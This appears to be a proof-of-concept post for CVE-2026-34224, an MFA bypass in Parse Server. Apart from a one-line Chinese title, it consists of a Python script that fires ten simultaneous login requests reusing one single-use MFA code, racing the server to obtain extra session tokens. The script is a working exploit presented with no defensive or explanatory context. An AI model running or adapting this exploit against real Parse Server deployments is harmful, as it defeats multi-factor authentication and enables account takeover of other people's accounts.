CVE-2026-34224 Parse Server MFA绕过漏洞

import requests import threading # Target configuration TARGET_URL = "https://<your-parse-server>/parse/login" APP_ID = "<your-app-id>" AUTH_PROVIDER_TOKEN = "<valid_auth_token>" MFA_CODE = "<single_use_mfa_code>" def send_login_request(): headers = { "X-Parse-Application-Id": APP_ID, "Content-Type": "application/json" } payload = { "authData": { "provider": "<provider_name>", "token": AUTH_PROVIDER_TOKEN, "mfa_code": MFA_CODE } } try: response = requests.post(TARGET_URL, json=payload, headers=headers) if response.status_code == 200: print(f"[+] Login successful! Session Token: {response.json().get('sessionToken')}") else: print(f"[-] Login failed: {response.text}") except Exception as e: print(f"[!] Error: {e}") # Create multiple threads to simulate concurrent requests (Race Condition) threads = [] for i in range(10): t = threading.Thread(target=send_login_request) threads.append(t) t.start() for t in threads: t.join()